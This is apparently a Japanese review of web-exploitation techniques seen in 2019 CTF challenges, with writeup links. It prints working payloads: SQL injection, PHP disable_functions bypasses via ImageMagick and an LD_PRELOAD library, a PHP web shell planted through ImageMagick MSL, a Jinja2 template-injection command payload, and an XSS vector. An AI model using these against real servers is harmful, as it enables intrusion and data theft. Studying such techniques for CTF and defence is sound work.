- TJCTF 2019 - Spirit
https://ctftime.org/writeup/14553 - RCTF 2019 - jail
https://github.com/zsxsoft/my-ctf-challenges/tree/master/rctf2019/jail%20%26%20password#jail
- TJCTF 2019 - Spirit
XSS Auditor機能のバイパス
Chrome 78から削除されたXSS Auditor機能をバイパスする手法です。
残念ながら、今後同じような問題が出ることは無さそうですが、もしも機能が復活したときに備えて紹介します。
- writeup
- Real World CTF 2019 Quals - hCorem
https://ctftime.org/writeup/16642
- Real World CTF 2019 Quals - hCorem
Cross-Site Request Forgeries(CSRF)
HTML5のping属性によるPOSTリクエスト発行
この問題で初めて知ったのですが、HTML5のaタグにping
属性があります。
リンク先に遷移するタイミングで、指定したURLにPOSTリクエストを投げることが可能です。
POSTリクエストかどうかのチェックをバイパスしています。
仕様は以下のリンク先を参照してください。
https://developer.mozilla.org/ja/docs/Web/HTML/Element/a
ちなみにping
属性の設定先に送信されるデータを確認してみました。
192.168.1.6のWebページからexample.comにリンクを張り、pingの送り先はrequest.binに設定しました。
Bodyに色々情報が入っていると思いきや「PING」だけですね。
- writeup
- ångstromCTF 2019 - GiantURL
https://github.com/justcatthefish/ctf/tree/master/2019-04-25-Angstrom2019/web#gianturl
- ångstromCTF 2019 - GiantURL
CSS Injection
Sequential Import Chaining
昨年は、Google CTFやSECCONなど、複数の大会でCSS Injectionを利用する問題が出題されました。
単純なCSS Injectionは、1回のアクセスで1文字しか特定できないため、 アクセスするたびにtokenが変わるケースや、アクセス数に制約があると成立しません。 そこで、@importを使用して再帰的にCSSをimportさせることで、1回のアクセスで複数文字を窃取する手法があります。
手法の解説は以下の記事が参考になります。
https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b
ツールも公開されています。
https://github.com/d0nutptr/sic
また、今年のAVTokyoではmage氏が応用手法を発表されていました。
http://ja.avtokyo.org/avtokyo2019/speakers#mage
ツールも公開されています。
https://github.com/m---/onsen
- writeup
- TSG CTF - BADNONCE Part 2
https://st98.github.io/diary/posts/2019-05-05-tsg-ctf.html#badnonce-part-2-250
- TSG CTF - BADNONCE Part 2
SQL Injection
Error-Based SQL Injection
~(False)
がbigint(unsigned)
の最大値になるため、+1
するとエラーになります。よって、括弧の中にBooleanを返すselect文をセットしてError-Based SQL Injectionができます。
mysql> select * from user where user=''-(~(select 1=1)+1); Empty set, 5 warnings (0.00 sec) mysql> select * from user where user=''-(~(select 1=2)+1); ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~((1 = 2)) + 1)'
- writeup
- InCTF 2019 - GoSQLv2
https://blog.bi0s.in/2019/10/16/Web/inctfi19-web-writeups/ Trick-3
- InCTF 2019 - GoSQLv2
GBKマルチバイト文字を使用した'記号のエスケープのバイパス
'
記号の入力チェックがされている場合に、マルチバイト文字を使用してバイパスする手法です。
%bf%27
をaddslashes
関数に渡すと、%27
('
記号)をエスケープするために%5c
(\
記号)を付けます。
すると、%bf%5c%27
になりますが、%bf%5c
が中国の文字コードであるGBKにある2バイト文字として解釈されます。
後ろの%27
('
記号)がそのまま残るため、SQL Injectionに使用できるという手法です。
手法の解説は以下の記事が参考になります。
http://www.securityidiots.com/Web-Pentest/SQL-Injection/addslashes-bypass-sql-injection.html
- writeup
- Reply Cyber Security Challenge - Mission Control
https://medium.com/@noobintheshell/replyctf2019-writeups-6d57f4d770dd#3fab
- Reply Cyber Security Challenge - Mission Control
Remote Code Execution(RCE)
open_basedirをバイパスしてディレクトリリスティング
RCEができてから、phpのopen_basedir
またはdisable_functions
により、FLAGが読めない/シェルが取れないよう制限されている問題が多数ありました。
その制限をバイパスする手法をいくつか紹介します。
open_basedir
の制限がかかっている場合に、globを使用してディレクトリとファイル名をリスティングする手法です。
root@kali:/tmp# grep -e ^open_basedir ./php_open_basedir.ini open_basedir = /tmp root@kali:/tmp# php -a -c ./php_open_basedir.ini Interactive mode enabled php > $it = new DirectoryIterator("glob:///var/*"); PHP Warning: Uncaught UnexpectedValueException: DirectoryIterator::__construct(): open_basedir restriction in effect. File(/var/*) is not within the allowed path(s): (/tmp) in php shell code:1 Stack trace: #0 php shell code(1): DirectoryIterator->__construct('glob:///var/*') #1 {main} thrown in php shell code on line 1 php > $it = new DirectoryIterator("glob:///va?/*"); php > foreach($it as $f){echo "{$f}\n";} backups cache lib local lock log mail opt run spool tmp www
- writeup
- 0CTF/TCTF 2019 Quals - Wallbreaker Easy
https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#solution-1:-bypass-open_basedir - InCTF 2019 - GoSQLv2
https://blog.bi0s.in/2019/10/16/Web/inctfi19-web-writeups/ Trick-5
- 0CTF/TCTF 2019 Quals - Wallbreaker Easy
open_basedirをバイパスしてファイル読み込み
上述の手法はリスティングまででしたが、ファイル内容の読み取りもできる手法です。
- writeup
- 0CTF/TCTF 2019 Quals - Wallbreaker Easy
https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#solution-1:-bypass-open_basedir
- 0CTF/TCTF 2019 Quals - Wallbreaker Easy
ImageMagickのdelegate.xmlを使用したdisable_functionのバイパス
disable_functions
でOSコマンド実行系の関数を抑止されている場合に、
任意のOSコマンド実行を設定したImageMagickのdelegate.xmlファイルを作成してから、
ImageMagickのインスタンスを生成することで、任意のOSコマンド実行をする手法です。
root@kali:/tmp# grep -e ^disable_function ./php_disable_function.ini disable_functions = system, exec, shell_exec, passthru, popen, proc_open, pcntl_exec root@kali:/tmp# php -a -c ./php_disable_function.ini Interactive mode enabled php > system("id"); PHP Warning: system() has been disabled for security reasons in php shell code on line 1 php > file_put_contents("delegates.xml","<delegatemap>\n<delegate decode=\"hoge\" command=\"id\"/>\n</delegatemap>"); php > file_put_contents("a.hoge","1234"); php > putenv('MAGICK_CONFIGURE_PATH=./'); php > $img = new Imagick('/tmp/a.hoge'); uid=0(root) gid=0(root) groups=0(root) PHP Warning: Uncaught ImagickException: unable to open image `/tmp/magick-985377-UH__aWNsvfz': No such file or directory @ error/blob.c/OpenBlob/2874 in php shell code:1 Stack trace: #0 php shell code(1): Imagick->__construct('/tmp/a.hoge') #1 {main} thrown in php shell code on line 1
- writeup
- BSides Delhi CTF 2019 - eval-me
https://balsn.tw/ctf_writeup/20190928-bsidesdelhictf/#eval-me
- BSides Delhi CTF 2019 - eval-me
PHP-FPMのUNIXドメインソケットファイルを使用したdisable_functionsのバイパス
disable_functions
でOSコマンド実行系の関数を抑止されている場合に、
UNIXドメインソケットファイルを経由して任意のOSコマンド実行をする手法です。
2つのwriteupともに、ソケットファイルに書き込むデータはGopherusで生成したペイロードを利用しているようです。
https://github.com/tarunkant/Gopherus
- writeup
- InCTF 2019 - GoSQLv2
https://blog.bi0s.in/2019/10/16/Web/inctfi19-web-writeups/ Trick-5 - *CTF 2019 - Echohub
https://github.com/CTFTraining/starctf_2019_echohub/blob/master/writeup.md
- InCTF 2019 - GoSQLv2
LD_PRELOADを使用したdisable_functionsのバイパス
disable_functions
でOSコマンド実行系の関数を抑止されているが、ファイルのアップロードが可能かつputenv
関数で環境変数を設定可能な場合に、
LD_PRELOAD
環境変数を上書きしてsoファイルをロードさせて、任意のOSコマンド実行をする手法です。
root@kali:~/CTF/Lab# cat exploit.c #include <unistd.h> #include <sys/types.h> #include <stdio.h> #include <stdlib.h> uid_t getuid(void){ unsetenv("LD_PRELOAD"); system("id"); return 1; } root@kali:~/CTF/Lab# gcc -shared exploit.c -o exploit.so root@kali:~/CTF/Lab# php -a -c ./php_disable_function.ini Interactive mode enabled php > putenv('LD_PRELOAD=./exploit.so'); php > mail('a','a','a','a'); uid=0(root) gid=0(root) groups=0(root)
手法の解説は以下の記事が参考になります。
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD/
ツールもあります。
https://github.com/TarlogicSecurity/Chankro/
多くの問題で使用されています。非想定の解法としても使用されており、使いこなしたい手法の一つです。
- writeup
- Insomni'hack teaser 2019 - l33t-hoster
http://corb3nik.github.io/blog/insomnihack-teaser-2019/l33t-hoster - 0CTF/TCTF 2019 Quals - Wallbreaker Easy
https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#solution-2:-bypass-disable_function-with-ld_preload - InCTF 2019 - Copy-Cat
https://blog.bi0s.in/2019/10/16/Web/inctfi19-web-writeups/ (Unintended Step for the same stage)
- Insomni'hack teaser 2019 - l33t-hoster
MySQL Client Attack
MySQLの接続時に、MySQLサーバからクライアントにファイル読み取り要求を返すことで、クライアントのファイルを窃取することが可能な脆弱性がありました。 そこで、別の脆弱性を使用して、ターゲットサーバのWebアプリケーション(MySQLクライアント)の接続先を自分のMySQLサーバに向けさせて、FLAGファイルの読み取り要求を返すことで、FLAGファイルを窃取する手法です。 なお、MySQLクライアントの最新版では既に修正されています。
ツール化もされています。
https://github.com/lcark/MysqlClientAttack
- writeup
- HITCON CTF 2019 Quals - GoGo PowerSQL
https://github.com/orangetw/My-CTF-Web-Challenges#gogo-powersql
- HITCON CTF 2019 Quals - GoGo PowerSQL
MySQL Client Attack Chain
MySQL Client Atttackの応用編で、あらかじめ別の方法でpharファイルをターゲットサーバに配備してから、phar:///tmp/filename.phar
の形式でpharファイル読み取り要求を返すことで、ターゲットサーバ内でpharファイルのunserializeが走り、pharファイル内に仕込んだコードを実行させる手法です。
- writeup
- N1CTF 2019 - sql_manage
https://github.com/Nu1LCTF/n1ctf-2019/blob/master/WEB/sql_manage/EN_writeup.md
- N1CTF 2019 - sql_manage
ImageMagickのMagnificent Shell Landing(MSL)を利用したWebShell配置
ImageMagickがサポートしているMSLという形式のファイルにconvert機能をかけると、画像ファイルのコピーができます。
別途、WebShellのコードを埋め込んだ画像ファイルを用意しておくことで、 WebサーバにWebShellを配置することができます。
root@kali:/var/www/html/upload# ll total 88 -rw-r--r-- 1 root root 270 Dec 29 09:35 exploit1.svg -rw-r--r-- 1 root root 163 Dec 29 09:36 exploit2.svg -rw-r--r-- 1 root root 80461 Dec 29 09:34 shell.png root@kali:/var/www/html/upload# cat exploit1.svg <?xml version="1.0" encoding="UTF-8" ?> <!-- <svg> --> <image> <read filename="/var/www/html/upload/shell.png" /> <write filename="/var/www/html/shell.php" /> <svg width="120px" height="120px"> <image href="/var/www/html/upload/shell.png" /> </svg> </image> root@kali:/var/www/html/upload# cat exploit2.svg <?xml version="1.0" encoding="UTF-8"?> <svg width="120px" height="120px"> <image width="120" height="120" href="msl:/var/www/html/upload/exploit1.svg" /> </svg> root@kali:/var/www/html/upload# strings shell.png | grep cmd <?php system($_GET["cmd"]); ?> root@kali:/var/www/html/upload# convert exploit2.svg -thumbnail Aborted root@kali:/var/www/html/upload# strings /var/www/html/shell.php | grep cmd <?php system($_GET["cmd"]); ?> root@kali:/var/www/html/upload# curl localhost/shell.php?cmd=id --output - (snip) id=33(www-data) gid=33(www-data) groups=33(www-data) %tEXtdate:create2019-12-29T09:46:49+09:00/%tEXtdate:modify2019-12-29T09:46:49+09:00S IENDB`
- writeup
- Google Capture The Flag 2019 (Quals) - gphotos
https://blog.bushwhackers.ru/googlectf-2019-gphotos-writeup/
- Google Capture The Flag 2019 (Quals) - gphotos
timing attackによる情報リーク
任意のコードが実行できるが、その結果を直接得られない場合に、
Blind SQL Injectionのように、sleep
関数を使用してFLAGファイルを1文字ずつ特定する手法です。
__import__('time').sleep(3) if ord(open('/flag').read()[3]) > 67 else None
- writeup
- RCTF 2019 - calcalcalc
https://github.com/zsxsoft/my-ctf-challenges/blob/master/calcalcalc-family/1.md#part-2
- RCTF 2019 - calcalcalc
Server-Side Template Injection(SSTI)
プロパティの自動探索
SSTIの脆弱性を見つけてから、目的のプロパティにアクセスするまでの道のりが険しい場合があります。
そのようなときに使用可能なスクリプトが、昨年のTokyoWesterns CTF 4th 2018のShrineのwriteupで公開されていました。
https://ctftime.org/writeup/10851
このスクリプトを使用して解くwriteupがありました。
- writeup
- ångstromCTF 2019 - Madlibbin
https://github.com/justcatthefish/ctf/tree/master/2019-04-25-Angstrom2019/web#madlibbin
- ångstromCTF 2019 - Madlibbin
evalの自動探索
SSTIの脆弱性を使用して、OSコマンド実行するためのペイロードは数多く公開されていますが、
__subclasses__()
が返すリストの順序が環境によって違っていたりと、環境に合わせたチューニングが面倒な場合があります。
https://github.com/w181496/Web-CTF-Cheatsheet#flaskjinja2に、自動でeval関数を探して実行するペイロード例がありました。
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
- writeup
flaskのセッションデコード/エンコード
flask環境でSSTIが成功してSECRET_KEY
を窃取した後、セッションを改ざんする場合に、flaskセッションのデコード/エンコードが必要になります。
[flask session decode]等のキーワードでgoogle検索するとツールは多数ありますが、強豪チームのBalsnがflask-unsign
というツールを使用していました。
https://github.com/Paradoxis/Flask-Unsign
SECRET_KEY
のブルートフォースに対応したツールは珍しかったので紹介です。
以下のwriteupではキチンとSECRET_KEY
を特定していますが、クソ問guessingが必要な問題が出題された場合に使用できるかもしれません。
- writeup
- Facebook CTF 2019 - events
https://balsn.tw/ctf_writeup/20190603-facebookctf/#events
- Facebook CTF 2019 - events
フィルターのバイパス
昨年、SSTIの脆弱性があって、フィルター機能をバイパスする問題が多数出題されていました。 今年も何問かありましたが、以下のような結構強めのフィルタをバイパスする問題があったので紹介します。
blacklist = ["config", "self", "request", "[", "]", '"', "_", "+", " ", "join", "%", "%25"]
以下の記事で、バイパス手法がまとまっています。
https://0day.work/jinja2-template-injection-filter-bypasses/
- writeup
- X-MAS CTF 2019 - Mercenary Hat Factory
https://medium.com/@m.slamat_25204/x-mas-2019-ctf-write-up-mercenary-hat-factory-ssti-53e82d58829e
- X-MAS CTF 2019 - Mercenary Hat Factory
Server-Side Includes (SSI) Injection
この問題で初めて知ったのですが、Server-Side Includesを使用して、サーバ内のファイルを窃取する手法です。
https://en.wikipedia.org/wiki/Server_Side_Includes
Apache HTTP Serverでは、拡張子を.shtml
にするか、SSIを許可する設定が必要となるため、使用できるシーンは中々なさそうですが、ワンチャンあるかもしれないので覚えておくとよさそうです。
- writeup
- Hack.lu CTF 2019 - TreesForFuture
https://github.com/lavish/ctf-writeups/tree/master/hacklu2019-TreesForFuture
- Hack.lu CTF 2019 - TreesForFuture
Server-Side Request Forgery(SSRF)
RedisにHTTPでアクセス
SSRFの脆弱性を発見後、ネットワーク内部でRedisのポート(6379)が開いている場合に、HTTPリクエストを使用してRedisから情報を窃取する手法です。
手法の解説は以下の記事が参考になります。
https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html
- writeup
- RedpwnCTF 2019 - red-pwn-is
https://github.com/r00tstici/writeups/blob/master/redpwnCTF/red-pwn-is/writeup.md - CTFZone 2019 Quals - Zirconium
https://ctftime.org/task/9923
- RedpwnCTF 2019 - red-pwn-is
gopherでtomcatの管理コンソールからWebShellをデプロイ
SSRFの脆弱性を発見後、tomcatの管理コンソールにアクセス可能、且つWARファイルのデプロイが可能な場合に、HTTPリクエストを使用してWebShellをデプロイする手法です。SSRFでおなじみのgopherを使用します。
自分で頑張ることもできますが、専用のツールが公開されています。
https://github.com/pimps/gopher-tomcat-deployer
- writeup
- CTFZone 2019 Quals - Catcontrol
https://ctftime.org/task/9924
- CTFZone 2019 Quals - Catcontrol
WebRTC APIを使用してSTUNプロトコルでアクセス
最近のWebブラウザがサポートしているWebRTC APIを使用して、ネットワーク内部のポートにアクセスさせる手法です。
この問題は、インターネットからアクセス可能なWebサーバにURLを送ると、Headless ChromeがURLにアクセスしてくれます。 また、内部ネットワーク(インターネットから直接アクセスできないネットワーク)に、 6666番ポートでサービスが公開されていて、受信データをそのままOSコマンドとして実行してくれます。
6666番ポートにGETやPOSTでOSコマンドを送るJavaScriptを用意して、Headless Chromeにアクセスしてもらえば良さそうですが、 Chromeでは、HTTPでアクセス可能なポート番号に制限をかけているようです。
以下のリンク先を参照ください。この仕様は知らなかったです。
https://superuser.com/questions/188058/which-ports-are-considered-unsafe-by-chrome/188070#188070
そこで、HTTPではなく、WebRTC APIを使用してSTUNプロトコルでアクセスさせることで制限をバイパスしています。
- writeup
- Balsn CTF 2019 - RCE Auditor
https://github.com/BookGin/my-ctf-challenges/tree/master/balsn-ctf-2019/rce-auditor
- Balsn CTF 2019 - RCE Auditor
XML External Entity(XXE)
Out-of-band XML External Entity (OOB-XXE)
XXEの脆弱性があるが、レスポンスに処理結果が返ってこない場合に、ターゲットから自分が管理するサーバに情報を送信させる使用する手法です。
手法の解説は以下の記事が参考になります。
https://www.acunetix.com/blog/articles/band-xml-external-entity-oob-xxe/
ツールが公開されています。
https://github.com/lc/230-OOB
- writeup
- CTFZone 2019 Quals - Catcontrol
https://ctftime.org/task/9924
- CTFZone 2019 Quals - Catcontrol
サブドメインを使用した情報リーク
上記のOOB-XXEの応用編で、DNS以外のアウトバウンドへの通信が塞がれている場合に、 昨今のマルウェアやウィルス対策ソフトのように、DNSのサブドメインを使用してリークさせる方法です。
- writeup
- Pwn2Win CTF 2019 - Baby Recruiter
https://graneed.hatenablog.com/entry/2019/11/11/081011
- Pwn2Win CTF 2019 - Baby Recruiter
SVGファイルのアップロードによるXXE
XML形式であるSVGファイルを使用してXXEを行う手法です。
サーバでloadXML
関数を使用してSVGファイルを読み込んでいる場合、XXEが発動します。
XSSでもSVGファイルを使用してCSPをバイパスする手法を紹介しましたが、SVGファイルを活用するシーンが多そうです。
- writeup
- Midnight Sun CTF 2019 Quals - Rubenscube
https://jbz.team/midnightsunctfquals2019/Rubenscube - BSidesSF 2019 CTF - svgmagic
https://www.rootnetsec.com/bsidessf-svgmagick/
- Midnight Sun CTF 2019 Quals - Rubenscube
Directory Traversal
nginxの設定不備
nginxの設定にミスがあると、http://example.com/hoge/fuga../
のような形で、1つ上の階層のファイルを参照できます。
以下のno1zy氏の記事が参考になります。
https://qiita.com/no1zy_sec/items/e541f1c838874ff400bb
- writeup
- INS'hAck 2019 - unchained
https://github.com/InsecurityAsso/inshack-2019/blob/master/unchained/writeup.md
- INS'hAck 2019 - unchained
Elasticsearch
その名のとおり、Elasticsearchに対する攻撃手法です。 EndpointにElasticsearchのAPIがいて、入力文字列がAPIのパスとしてセットされる場合に、パスを遡って他のインデックスも見ることができます。(当たり前といえば当たり前)
- writeup
- ASIS CTF Quals 2019 - Dead engine
https://abcdsh.blogspot.com/2019/04/writeup-asis-2019-quals-dead-engine.html
- ASIS CTF Quals 2019 - Dead engine
Cache Poisoning
HTTP/0.9のレスポンスをプロキシサーバにキャッシュ
HTTP/0.9でプロキシサーバ経由でページにアクセスし、 プロキシサーバにそのレスポンスデータをキャッシュさせることで、 任意のHTTPレスポンスヘッダーを持つページをターゲットに表示させる手法です。
HTTP/0.9ではHTTPステータスコードやHTTPレスポンスヘッダーを返さない挙動を利用しています。
- writeup
- PlaidCTF 2019 - Potent Quotables
https://blog.pspaul.de/posts/plaidctf-2019-potent-quotables/
- PlaidCTF 2019 - Potent Quotables
拡張子偽装による動的ページのキャッシュ
http://example.com/index.php/hoge
のようなパスでもindex.php
が動くような場合に、URLの最後を.cssのような静的ファイルの拡張子にしてアクセスすることで、攻撃者が表示したindex.php
をキャッシュの対象にし、その後、キャッシュをターゲットに表示させる手法です。
writeupでは、nonceによるCSPのチェックをパスするために使用しています。
index.php
がCSPでnonceを使用している場合に、http://example.com/index.php/hoge.css
のようなアクセスをすると、そのレスポンスでnonceが手に入り、同時にキャッシュに積まれます。そのキャッシュのnonceは攻撃者にとって既知となるため、adminにキャッシュを踏ませることで、XSS攻撃にnonceを使用できます。
- writeup
- Hack.lu CTF 2019 - Numtonce
https://github.com/LetzPwn/ctf-writeups/blob/master/hack_lu_2019/Numtonce/README.md
- Hack.lu CTF 2019 - Numtonce
Insecure Deserialization
PHP Generic Gadget Chains
昨年も紹介したPHPGGCですが、今年も使用する問題が出題されています。
PHPGGCは、unserializeに渡すと任意のコードを実行できるペイロードを生成できるツールです。 簡単に言うと、JavaのysoserialのPHP版です。
手法の解説は以下の記事が参考になります。
https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf
ツールはこちらです。
https://github.com/ambionics/phpggc
PHPGGCは頻繁に更新されており、例えば以下のWeb 100の問題も、出題直前に更新されたガジェットにより簡単に解けるようになってしまったため、
急遽、難易度を上げるためにブラックリストによるフィルタ処理を追加したようです。
なお、ブラックリストは、ペイロードの中身を system
をsyst\65m
のように変換することでバイパスできたようです。
- writeup
Foreign Function Interface(FFI)を使用したC関数の呼出し
PHP7.4の新仕様であるFFIを使用すると、PHPからCの関数を呼び出しできます。 この問題では、Insecure Deserializationでsystem関数を呼ぶように上書きした上で、任意のOSコマンドを実行する手法でした。
- writeup
- RCTF 2019 - nextphp
https://github.com/zsxsoft/my-ctf-challenges/tree/master/rctf2019/nextphp
- RCTF 2019 - nextphp
Regular expression Denial of Service(ReDoS)
ReDoSを使用した強制プロセス再起動
正規表現による評価処理の時間が指数関数的にかかるようなデータを送ることで、処理を遅延させたり、プロセスを落としたりする手法です。 ReDoSという手法は、この問題で初めて知りました。
手法の解説はWikipediaにお任せします。
https://en.wikipedia.org/wiki/ReDoS
オンラインで正規表現を試すことが可能なサービスがあるので試してみます。
https://regex101.com/
右上のstepsに注目してください。
このサービスでは一定時間がかかると途中で中断されますが、指数関数的に処理量が増大していることがわかります。
- writeup
- Balsn CTF 2019 - Images and Words
https://github.com/BookGin/my-ctf-challenges/tree/master/balsn-ctf-2019/images-and-words
- Balsn CTF 2019 - Images and Words
バックトラック処理の制限を利用したPCREチェックのバイパス
ReDoSを防ぐために、PHPではpcre.backtrack_limit
でバックトラック処理の数に制限を設けています。
preg_match
関数の返り値の説明を見てみます。
https://www.php.net/manual/ja/function.preg-match.php
なるほど。
例えば、以下のような実装をしているとします。
if(preg_match('/SELECT.+FROM.+/is', $input)) { die('Error'); }
SELECT flag FROM /*aaaaaaaaaaaaaa*/ flag
のようなSQLで、aの部分を1文字増やすと1step増えます。
このstep数がpcre.backtrack_limit
の制限にかかると、preg_match
関数はFALSE
を返却するため、if文の条件に合致せずにチェックをバイパスできます。
手法の解説は以下の記事が参考になります。
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
- writeup
- N1CTF 2019 - sql_manage
https://github.com/Nu1LCTF/n1ctf-2019/blob/master/WEB/sql_manage/EN_writeup.md
- N1CTF 2019 - sql_manage
Side Channel Attack
AV Oracle
Windows Defenderには、ファイル内のJavaScriptコード部分を内部エンジンで実行した上で悪性かどうかを判断する機能があり、 その機能を利用してマルウェア検知するかどうかを観察し、情報をリークする手法です。
TokyoWesternsのicchy氏が考案した手法であり、以下の資料が参考になります。
https://westerns.tokyo/wctf2019-gtf/wctf2019-gtf-slides.pdf
CODE BLUE 2019でもこの手法をテーマに登壇していました。
https://www.youtube.com/watch?v=EgKlBfk9H5s
CTFのWeb問題でWindows ServerやIISといった環境は滅多にないため、 バナー情報からこのような環境を確認できたときは、AV Oracleを使用する問題を疑ってもいいかもしれません。
- writeup
- TokyoWesterns CTF 5th 2019 - PHP Note
https://balsn.tw/ctf_writeup/20190831-tokyowesternsctf/#php-note
- TokyoWesterns CTF 5th 2019 - PHP Note
XS-Search
XSS Auditor機能を悪用する手法です。 昨年末の35C3 CTFのfilemanagerで出題されて以降、何度か出題されましたが、Chrome 78から機能削除されてしまいました。
手法の解説は以下の記事が参考になります。
https://www.mbsd.jp/blog/20160407_2.html
https://speakerdeck.com/lmt_swallow/gimme-a-bit-exploring-attacks-in-the-post-xss-world
- writeup
- TSG CTF - RECON
https://st98.github.io/diary/posts/2019-05-05-tsg-ctf.html#recon-500 - Facebook CTF 2019 - secret note keeper
https://sectt.github.io/writeups/FBCTF19/secret_note_keeper/README
- TSG CTF - RECON
typemustmatchを使用したXS-Leaks
typemustmatch
属性を使用したXS-Leaksです。
FireFoxがこの属性をサポートしていましたが、Firefox 68から機能削除されてしまいました。
- writeup
- BackdoorCTF 2019 - notes-app
https://sectt.github.io/writeups/BACKDOORCTF19/notes-app/README
- BackdoorCTF 2019 - notes-app
polyglot
polyglot自体の説明はWikipediaにお任せします。
https://en.wikipedia.org/wiki/Polyglot_(computing)
Wikipediaで説明されているような、1ファイルで異なるプログラミング言語を実装する問題以外に、 画像ファイル形式と目的のファイル形式の、両方で解釈できるファイルを作成する手法も、polyglotと呼んでいます。
今年は、pharファイル形式と画像ファイル形式を組み合わせる問題が多かったです。
Nodejs, python, phpのpolyglot
Nodejsとpythonとphpのpolyglotをする問題です。
RCTF 2019から始まったcalcalcalcシリーズの問題で出題されていました。
- writeup
- RCTF 2019 - calcalcalc
- 0CTF 2019 - 114514Calcalcalc
- De1CTF 2019 - 9calc
https://github.com/zsxsoft/my-ctf-challenges/tree/master/calcalcalc-family
wbmpと.htaccessファイルのpolyglot
.htaccessファイルとWireless Application Protocol Bitmap Format(wbmpファイル)のpolyglotを行い、 アップロード機能に画像ファイルかどうかのチェックがある場合に、 チェックをパスして.htaccessファイルをアップロードする手法です。
wbmpファイルのフォーマットは以下を参照ください。
https://ja.wikipedia.org/wiki/Wireless_Application_Protocol_Bitmap_Format
wbmpファイルは先頭にNULLバイト(\x00
)を設定可能です。
.htaccessファイルはNULLバイトをコメントアウトの開始文字と見なすため、 ファイルの先頭から、wbmpファイル形式として解釈される必要最低限のデータを残し、改行コードで区切れば、 以降は任意の.htaccessファイルの定義が可能となります。
- writeup
- Insomni'hack teaser 2019 - l33t-hoster
http://corb3nik.github.io/blog/insomnihack-teaser-2019/l33t-hoster
- Insomni'hack teaser 2019 - l33t-hoster
画像ファイルとpharファイルのpolyglot
pharファイルは、ファイルの途中に__HALT_COMPILER()
があれば有効な形式として判断されるようです。
pharファイルの作成にあたり、Stubとしてファイルの先頭に任意のデータがセット可能であるため、
画像ファイルとして解釈されるデータをセットすることで、どちらでも解釈可能なファイルが作成できます。
手法の解説は以下の記事が参考になります。
https://www.nc-lp.com/blog/disguise-phar-packages-as-images
以下のwriteupのとおり、色々な画像ファイル形式が使用されています。
- writeup
- jpg
- nullcon HackIM 2019 - mime checkr
https://eugenekolo.com/blog/nullcon-hackim-ctf-2019/#mimecheckr4solves - Midnight Sun CTF 2019 Quals - Rubenscube
https://jbz.team/midnightsunctfquals2019/Rubenscube - Chaos Communication Camp 2019 - PDFCreator
https://medium.com/@craig.knott92/ccc-2019-ctf-pdfcreator-9c76fd60452d
- nullcon HackIM 2019 - mime checkr
- png
- Harekaze CTF 2019 - Avatar Uploader 2
https://st98.github.io/diary/posts/2019-05-21-harekaze-ctf-2019.html#web-300-avatar-uploader-2
- Harekaze CTF 2019 - Avatar Uploader 2
- gif
- N1CTF 2019 - sql_manage
https://github.com/Nu1LCTF/n1ctf-2019/blob/master/WEB/sql_manage/EN_writeup.md
- N1CTF 2019 - sql_manage
- jpg
言語仕様系
プログラミング言語の仕様をよく確認して解く問題の紹介です。 これらの系統の問題は、よく練られており解いていて楽しいですね。
golangのslice
go言語のsliceを使用した実装で起こしやすいバグを利用して攻略する問題です。
sliceを関数の引数に渡した時の挙動は以下の記事が参考になります。
https://christina04.hatenablog.com/entry/2017/09/26/190000
sliceを複数スレッドで使用した際の挙動は以下の記事が参考になります。
https://medium.com/@cep21/gos-append-is-not-always-thread-safe-a3034db7975
- writeup
- CONFidence CTF 2019 Teaser - The Lottery
https://github.com/mwarzynski/confidence2019_teaser_lottery - RoarCTF2019 - Dist
https://blog.szfszf.top/tech/roarctf2019-web-writeup/
- CONFidence CTF 2019 Teaser - The Lottery
RubyのDir.glob関数の仕様
RubyのDir.glob関数の仕様を確認し、 入力チェックにかからずにディレクトリリスティングやファイル読み込みが可能なペイロードを作成して攻略する問題です。
- writeup
- SECCON 2019 Online CTF - fileserver
https://graneed.hatenablog.com/entry/2019/10/20/171619#fileserver
- SECCON 2019 Online CTF - fileserver
文字入力チェックのバイパス
XORで文字を生成
使用できる文字の種類に制限がある場合に、XORを使用して別の文字を生み出す方法です。
- writeup
- ISITDTU CTF 2019 - EasyPHP
https://github.com/jesux/ctf-write-ups/tree/master/isitdtu-2019/EasyPHP
- ISITDTU CTF 2019 - EasyPHP
Unicode表現
JSONでパースする前のデータに対して入力チェックしている場合、Unicode表現(\uXXXX
)でチェックをバイパス可能です。
- writeup
- Harekaze CTF 2019 - Encode & Encode
https://st98.github.io/diary/posts/2019-05-21-harekaze-ctf-2019.html#web-100-encode--encode
- Harekaze CTF 2019 - Encode & Encode
数値文字参照とES6 Unicode literals表現
この問題は、1文字あたり1回しか使用できない制約がある中でXSSをするという面白い問題です。
この制約をクリアするために、数値文字参照とES6 Unicode literals表現を使用します。
例えば、以下のevalの中の文字列はname
を表しています。
<SVG/ONLoAD=eval(nam\u{65})>
- writeup
- Security Fest 2019 - Entropian
https://medium.com/@renwa/security-fest-2019-ctf-entropian-web-write-up-f81fb11f675b
- Security Fest 2019 - Entropian
CRとLF以外の改行コード
Unicodeには、<CR>
と<LF>
以外にも改行を意味する文字があります。
- writeup
- HITCON CTF 2019 Quals - Bounty Pl33z
https://r3kapig.com/writeup/20191018-hitcon-quals/#bounty-pl33z-%5B255pts%5D
- HITCON CTF 2019 Quals - Bounty Pl33z
コマンドプロンプトで,記号を使用
Windowsのコマンドプロンプトでは、コマンドに,
記号が含まれる場合、以降の文字を2番目のパラメーターとして解釈します。(,
を含む。)
これを利用すると、スペース記号なしでcurlコマンドが実行できます。
なお、,
記号をURLから除外するために、@
記号を使用して,
をBASIC認証のクレデンシャル情報にしています。
